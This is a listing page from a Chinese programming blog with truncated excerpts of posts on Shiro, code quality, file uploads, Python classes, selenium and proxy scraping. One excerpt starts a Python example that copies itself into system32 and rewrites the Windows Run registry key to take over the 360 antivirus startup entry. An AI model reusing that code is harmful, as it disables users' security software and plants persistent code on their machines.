- 军军小站|张军博客
搜索到与相关的文章
编程技术

第六章 Realm及相关对象——《跟我学Shiro》

目录贴:跟我学Shiro目录贴6.1Realm【2.5Realm】及【3.5Authorizer】部分都已经详细介绍过Realm了,接下来再来看一下一般真实环境下的Realm如何实现。1、定义实体及关系即用户-角色之间是多对多关系,角色-权限之间是多对多关系;且用户和权限之间通过角色建立关系;在系统中验证时通过权限验证,角色只是权限集合,即所谓的显示角色;其实权限应该对应到资源(如菜单、URL、页面按钮、Java方法等)中,即应该将权限字符串存储到资源实体

系统 2019-08-29 22:00:46 1842

编程技术

一堂如何提高代码质量的培训课(2)

3.可变更性前面我提到了,软件的变更性是所有软件理论的核心,那么什么是软件的可变更性呢?按照现在的软件理论,客户对软件的需求时时刻刻在发生着变化。当软件设计好以后,为应对客户需求的变更而进行的代码修改,其所需要付出的代价,就是软件设计的可变更性。由于软件合理地设计,修改所付出的代价越小,则软件的可变更性越好,即代码设计的质量越高。一种非常理想的状态是,无论客户需求怎样变化,软件只需进行适当地修改就能够适应。但这之所以称之为理想状态,因为客户需求变化是有大有

系统 2019-08-29 21:58:57 1842

编程技术

commons-fileupload实现文件上传功能实例

Apache提供的commons-fileuploadjar包实现文件上传确实很简单,最近要用Servlet/JSP做一个图片上传功能,在网上找了很多资料,大多是基于struts框架介绍的,还有些虽然也介绍common-fileupload的上传,但是那些例子比较老,有些类现在都废弃了。通过研究学习总结,终于完成了这个上传功能,下面与大家分享一下。案例场景一个图书馆后台管理界面,需要提供上传图书图片的功能并且最终显示在页面中。实现效果进入添加书籍页面,默认

系统 2019-08-12 09:30:11 1842

编程技术

没有太多钱的互联网企业如何迅速的积累用户?

公司成立两年了,今天老板组织了一场“头脑风暴”,主要是讨论如何提升产品的竞争力,如何让公司迅速的积累更多的客户。和很多互联网公司一样我们也面临着很多困惑,产品如何定位,市场如何拓展,用户如何积累,商业模式到底如何进行,从公司成立到现在还没有百分之百的定论。还是归到本文的主题来吧,自己随便发表一点自己的看法。首先说一下没有太多钱的互联网企业的定义,它不是没有钱的互联网企业,指的是在保持现有规模的前提下,在一到两年的时间不会有资金的压力。我认为要迅速的积累用户

系统 2019-08-12 01:33:29 1842

Python

python基础-Task5

类和对象类:用来描述具有相同的属性和方法的对象的集合。它定义了该集合中每个对象所共有的属性和方法。对象是类的实例。方法:类中定义的函数。类变量:类变量在整个实例化的对象中是公用的。类变量定义在类中且在函数体之外。类变量通常不作为实例变量使用。数据成员:类变量或者实例变量用于处理类及其实例对象的相关的数据。方法重写:如果从父类继承的方法不能满足子类的需求,可以对其进行改写,这个过程叫方法的覆盖(override),也称为方法的重写。局部变量:定义在方法中的变

系统 2019-09-27 17:57:15 1841

Python

python修改注册表终止360进程实例

本文实例讲述了python修改注册表终止360进程的实现方法。分享给大家供大家参考。具体实现代码如下:import_winregimportosimportshutil#复制自身shutil.copyfile(K3.exe,c:WINDOWSsystem32K3.exe)#把360启动改为自身run=_winreg.OpenKey(_winreg.HKEY_LOCAL_MACHINE,"SOFTWAREMicrosoftWindowsCurrentVers

系统 2019-09-27 17:55:20 1841

Python

python3.6中@property装饰器的使用方法示例

本文实例讲述了python3.6中@property装饰器的使用方法。分享给大家供大家参考,具体如下:1、@property装饰器的使用场景简单记录如下:负责把一个方法变成属性调用;可以把一个getter方法变成属性,@property本身又创建了另一个装饰器@score.setter,负责把一个setter方法变成属性赋值;只定义getter方法,不定义setter方法就是一个只读属性2、通过一个例子来加深对@property装饰器的理解:利用@prop

系统 2019-09-27 17:54:23 1841

Python

Python3.6+selenium2.53.6自动化测试_读取excel

环境:编辑工具:浏览器:有问题可以联系qq:1776376537安装xlrd安装DDT一分析1目录结构2导入包二代码importxlrdclassExcelUtil():def__init__(self,excelPath,sheetName="Sheet1"):self.data=xlrd.open_workbook(excelPath)self.table=self.data.sheet_by_name(sheetName)#获取第一行作为key值se

系统 2019-09-27 17:54:09 1841

Python

python扫描proxy并获取可用代理ip的实例

今天咱写一个挺实用的工具,就是扫描并获取可用的proxy首先呢,我先百度找了一个网站:http://www.xicidaili.com作为例子这个网站里公布了许多的国内外可用的代理的ip和端口我们还是按照老样子进行分析,就先把所有国内的proxy扫一遍吧点开国内部分进行审查发现,国内proxy和目录为以下url:http://www.xicidaili.com/nn/x这个x差不多两千多页,那么看来又要线程处理了。。。老样子,我们尝试是否能直接以最简单的r

系统 2019-09-27 17:54:09 1841

Python

Python 使用 attrs 和 cattrs 实现面向对象编程的实践

Python是支持面向对象的,很多情况下使用面向对象编程会使得代码更加容易扩展,并且可维护性更高,但是如果你写的多了或者某一对象非常复杂了,其中的一些写法会相当相当繁琐,而且我们会经常碰到对象和JSON序列化及反序列化的问题,原生的Python转起来还是很费劲的。可能这么说大家会觉得有点抽象,那么这里举几个例子来感受一下。首先让我们定义一个对象吧,比如颜色。我们常用RGB三个原色来表示颜色,R、G、B分别代表红、绿、蓝三个颜色的数值,范围是0-255,也就

系统 2019-09-27 17:53:07 1841